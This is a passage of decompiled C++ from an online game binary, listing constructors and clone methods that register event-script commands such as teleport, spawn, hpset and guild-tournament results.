*)&PineEventScriptNode::ShineMobWeaponRate::_vftable_; } // 65293C: using guessed type int (__stdcall *PineEventScriptNode__ShineMobWeaponRate___vftable_)(int tr); //----- (004CDB30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange(PineEventScriptNode::ShineMobDetectRange *this) { PineEventScriptNode::ShineMobDetectRange *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobdetectrange", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobDetectRange::_vftable_; } // 652960: using guessed type int (__stdcall *PineEventScriptNode__ShineMobDetectRange___vftable_)(int tr); //----- (004CDB50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineHeal::ShineHeal(PineEventScriptNode::ShineHeal *this) { PineEventScriptNode::ShineHeal *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "heal", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHeal::_vftable_; } // 652984: using guessed type int (__stdcall *PineEventScriptNode__ShineHeal___vftable_)(int tr); //----- (004CDB70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAnimate::ShineAnimate(PineEventScriptNode::ShineAnimate *this) { PineEventScriptNode::ShineAnimate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "animate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAnimate::_vftable_; } // 6529A0: using guessed type int (__stdcall *PineEventScriptNode__ShineAnimate___vftable_)(int tr); //----- (004CDB90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDuplicate::ShineDuplicate(PineEventScriptNode::ShineDuplicate *this) { PineEventScriptNode::ShineDuplicate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "duplicate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDuplicate::_vftable_; } // 6529BC: using guessed type int (__stdcall *PineEventScriptNode__ShineDuplicate___vftable_)(int tr); //----- (004CDBB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitIdle::ShineWaitIdle(PineEventScriptNode::ShineWaitIdle *this) { PineEventScriptNode::ShineWaitIdle *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitidle", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitIdle::_vftable_; } // 6529DC: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitIdle___vftable_)(int tr); //----- (004CDBD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear(PineEventScriptNode::ShineDeathCountClear *this) { PineEventScriptNode::ShineDeathCountClear *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "deathcountclear", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDeathCountClear::_vftable_; } // 6529FC: using guessed type int (__stdcall *PineEventScriptNode__ShineDeathCountClear___vftable_)(int tr); //----- (004CDBF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet(PineEventScriptNode::ShineItemAttrSet *this) { PineEventScriptNode::ShineItemAttrSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemattrset", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemAttrSet::_vftable_; } // 652A20: using guessed type int (__stdcall *PineEventScriptNode__ShineItemAttrSet___vftable_)(int tr); //----- (004CDC10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineScinarioCode::ShineScinarioCode(PineEventScriptNode::ShineScinarioCode *this) { PineEventScriptNode::ShineScinarioCode *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "scinariocode", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScinarioCode::_vftable_; } // 652A40: using guessed type int (__stdcall *PineEventScriptNode__ShineScinarioCode___vftable_)(int tr); //----- (004CDC30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBattleStart::ShineBattleStart(PineEventScriptNode::ShineBattleStart *this) { PineEventScriptNode::ShineBattleStart *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "battlestart", 1u, 0, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStart::_vftable_; } // 652A64: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStart___vftable_)(int tr); //----- (004CDC50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBattleStop::ShineBattleStop(PineEventScriptNode::ShineBattleStop *this) { PineEventScriptNode::ShineBattleStop *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "battlestop", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStop::_vftable_; } // 652A84: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStop___vftable_)(int tr); //----- (004CDC70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSendKQResult::ShineSendKQResult(PineEventScriptNode::ShineSendKQResult *this) { PineEventScriptNode::ShineSendKQResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "sendquestresult", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSendKQResult::_vftable_; } // 652AA4: using guessed type int (__stdcall *PineEventScriptNode__ShineSendKQResult___vftable_)(int tr); //----- (004CDC90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvidualReward::ShineInvidualReward(PineEventScriptNode::ShineInvidualReward *this) { PineEventScriptNode::ShineInvidualReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invidualreward", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualReward::_vftable_; } // 652AC8: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualReward___vftable_)(int tr); //----- (004CDCB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineReturnValue::ShineReturnValue(PineEventScriptNode::ShineReturnValue *this) { PineEventScriptNode::ShineReturnValue *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "returnvalue", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReturnValue::_vftable_; } // 652AEC: using guessed type int (__stdcall *PineEventScriptNode__ShineReturnValue___vftable_)(int tr); //----- (004CDCD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift(PineEventScriptNode::ShineSubLayerShift *this) { PineEventScriptNode::ShineSubLayerShift *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "sublayershift", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSubLayerShift::_vftable_; } // 652B0C: using guessed type int (__stdcall *PineEventScriptNode__ShineSubLayerShift___vftable_)(int tr); //----- (004CDCF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTeleport::ShineTeleport(PineEventScriptNode::ShineTeleport *this) { PineEventScriptNode::ShineTeleport *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "teleport", 1u, 1, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleport::_vftable_; } // 652B30: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleport___vftable_)(int tr); //----- (004CDD10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemOwner::ShineItemOwner(PineEventScriptNode::ShineItemOwner *this) { PineEventScriptNode::ShineItemOwner *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemowner", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemOwner::_vftable_; } // 652B50: using guessed type int (__stdcall *PineEventScriptNode__ShineItemOwner___vftable_)(int tr); //----- (004CDD30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobAttribute::ShineMobAttribute(PineEventScriptNode::ShineMobAttribute *this) { PineEventScriptNode::ShineMobAttribute *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobattr", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobAttribute::_vftable_; } // 652B70: using guessed type int (__stdcall *PineEventScriptNode__ShineMobAttribute___vftable_)(int tr); //----- (004CDD50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineObjectCollect::ShineObjectCollect(PineEventScriptNode::ShineObjectCollect *this) { PineEventScriptNode::ShineObjectCollect *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "collect", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectCollect::_vftable_; } // 652B8C: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectCollect___vftable_)(int tr); //----- (004CDD70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest(PineEventScriptNode::ShineEndOfKingdomQuest *this) { PineEventScriptNode::ShineEndOfKingdomQuest *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofkq", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_; } // 652BA8: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfKingdomQuest___vftable_)(int tr); //----- (004CDD90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament(PineEventScriptNode::ShineEndOfGuildTournament *this) { PineEventScriptNode::ShineEndOfGuildTournament *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofgt", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfGuildTournament::_vftable_; } // 652BC4: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfGuildTournament___vftable_)(int tr); //----- (004CDDB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult(PineEventScriptNode::ShineGuildTorunamentResult *this) { PineEventScriptNode::ShineGuildTorunamentResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "gtresult", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineGuildTorunamentResult::_vftable_; } // 652BE0: using guessed type int (__stdcall *PineEventScriptNode__ShineGuildTorunamentResult___vftable_)(int tr); //----- (004CDDD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate(PineEventScriptNode::ShineCostumeCreate *this) { PineEventScriptNode::ShineCostumeCreate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "costumecreate", 1u, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeCreate::_vftable_; } // 652C00: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeCreate___vftable_)(int tr); //----- (004CDDF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff(PineEventScriptNode::ShineCostumeTakeOff *this) { PineEventScriptNode::ShineCostumeTakeOff *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "costumetakeoff", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeTakeOff::_vftable_; } // 652C24: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeTakeOff___vftable_)(int tr); //----- (004CDE10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete(PineEventScriptNode::ShineWeddingComplete *this) { PineEventScriptNode::ShineWeddingComplete *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "weddingcomplete", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWeddingComplete::_vftable_; } // 652C48: using guessed type int (__stdcall *PineEventScriptNode__ShineWeddingComplete___vftable_)(int tr); //----- (004CDE30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk(PineEventScriptNode::ShinePlayerWalk *this) { PineEventScriptNode::ShinePlayerWalk *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "playerwork", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePlayerWalk::_vftable_; } // 652C6C: using guessed type int (__stdcall *PineEventScriptNode__ShinePlayerWalk___vftable_)(int tr); //----- (004CDE50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineFindPlayer::ShineFindPlayer(PineEventScriptNode::ShineFindPlayer *this) { PineEventScriptNode::ShineFindPlayer *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "findplayer", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindPlayer::_vftable_; } // 652C8C: using guessed type int (__stdcall *PineEventScriptNode__ShineFindPlayer___vftable_)(int tr); //----- (004CDE70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTeleportAll::ShineTeleportAll(PineEventScriptNode::ShineTeleportAll *this) { PineEventScriptNode::ShineTeleportAll *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "teleportall", 1u, 0, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleportAll::_vftable_; } // 652CAC: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleportAll___vftable_)(int tr); //----- (004CDE90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBriefEffect::ShineBriefEffect(PineEventScriptNode::ShineBriefEffect *this) { PineEventScriptNode::ShineBriefEffect *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "briefeffect", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBriefEffect::_vftable_; } // 652CCC: using guessed type int (__stdcall *PineEventScriptNode__ShineBriefEffect___vftable_)(int tr); //----- (004CDEB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBanFromArea::ShineBanFromArea(PineEventScriptNode::ShineBanFromArea *this) { PineEventScriptNode::ShineBanFromArea *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "banfromarea", 0, 5, 5); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBanFromArea::_vftable_; } // 652CEC: using guessed type int (__stdcall *PineEventScriptNode__ShineBanFromArea___vftable_)(int tr); //----- (004CDED0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag(PineEventScriptNode::ShineRegesteFlag *this) { PineEventScriptNode::ShineRegesteFlag *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "RegisteFlag", 0, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteFlag::_vftable_; } // 652D0C: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteFlag___vftable_)(int tr); //----- (004CDEF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegesteGate::ShineRegesteGate(PineEventScriptNode::ShineRegesteGate *this) { PineEventScriptNode::ShineRegesteGate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "RegisteGate", 0, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteGate::_vftable_; } // 652D2C: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteGate___vftable_)(int tr); //----- (004CDF10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart(PineEventScriptNode::ShineDiceGameStart *this) { PineEventScriptNode::ShineDiceGameStart *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "DiceGameStart", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDiceGameStart::_vftable_; } // 652D4C: using guessed type int (__stdcall *PineEventScriptNode__ShineDiceGameStart___vftable_)(int tr); //----- (004CDF30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRevival::ShineRevival(PineEventScriptNode::ShineRevival *this) { PineEventScriptNode::ShineRevival *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "revival", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRevival::_vftable_; } // 652D70: using guessed type int (__stdcall *PineEventScriptNode__ShineRevival___vftable_)(int tr); //----- (004CDF50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSpawn::ShineSpawn(PineEventScriptNode::ShineSpawn *this) { PineEventScriptNode::ShineSpawn *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "spawn", 0, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSpawn::_vftable_; } // 652D8C: using guessed type int (__stdcall *PineEventScriptNode__ShineSpawn___vftable_)(int tr); //----- (004CDF70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineHPSet::ShineHPSet(PineEventScriptNode::ShineHPSet *this) { PineEventScriptNode::ShineHPSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "hpset", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHPSet::_vftable_; } // 652DA8: using guessed type int (__stdcall *PineEventScriptNode__ShineHPSet___vftable_)(int tr); //----- (004CDF90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfMID::ShineEndOfMID(PineEventScriptNode::ShineEndOfMID *this) { PineEventScriptNode::ShineEndOfMID *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofmid", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfMID::_vftable_; } // 652DC4: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfMID___vftable_)(int tr); //----- (004CDFB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvidualMidReward::ShineInvidualMidReward(PineEventScriptNode::ShineInvidualMidReward *this) { PineEventScriptNode::ShineInvidualMidReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invidualrewardmid", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualMidReward::_vftable_; } // 652DE4: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualMidReward___vftable_)(int tr); //----- (004CDFD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMIDClearCount::ShineMIDClearCount(PineEventScriptNode::ShineMIDClearCount *this) { PineEventScriptNode::ShineMIDClearCount *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "MIDClearCount", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMIDClearCount::_vftable_; } // 652E0C: using guessed type int (__stdcall *PineEventScriptNode__ShineMIDClearCount___vftable_)(int tr); //----- (004CDFF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePrintf::sb_CloneMe(PineEventScriptNode::ShinePrintf *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "printf", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePrintf::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6523B8: using guessed type int (__stdcall *PineEventScriptNode__ShinePrintf___vftable_)(int tr); //----- (004CE050) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScriptFile::sb_CloneMe(PineEventScriptNode::ShineScriptFile *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "scriptfile", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScriptFile::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6523D4: using guessed type int (__stdcall *PineEventScriptNode__ShineScriptFile___vftable_)(int tr); //----- (004CE0B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTimeLimit::sb_CloneMe(PineEventScriptNode::ShineTimeLimit *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "timelimit", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTimeLimit::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6523F4: using guessed type int (__stdcall *PineEventScriptNode__ShineTimeLimit___vftable_)(int tr); //----- (004CE110) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptClear::sb_CloneMe(PineEventScriptNode::ShineInterruptClear *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interruptclear", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptClear::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652414: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptClear___vftable_)(int tr); //----- (004CE170) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptSet::sb_CloneMe(PineEventScriptNode::ShineInterruptSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interruptset", 1u, 3, 5); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652438: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptSet___vftable_)(int tr); //----- (004CE1D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptErase::sb_CloneMe(PineEventScriptNode::ShineInterruptErase *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interrupterase", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptErase::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 65245C: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptErase___vftable_)(int tr); //----- (004CE230) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitInterrupt::sb_CloneMe(PineEventScriptNode::ShineWaitInterrupt *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitinterrupt", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitInterrupt::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652480: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitInterrupt___vftable_)(int tr); //----- (004CE290) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobRegen::sb_CloneMe(PineEventScriptNode::ShineMobRegen *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobregen", 1u, 6, 7); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobRegen::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6524A4: using guessed type int (__stdcall *PineEventScriptNode__ShineMobRegen___vftable_)(int tr); //----- (004CE2F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorBuild::sb_CloneMe(PineEventScriptNode::ShineDoorBuild *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) 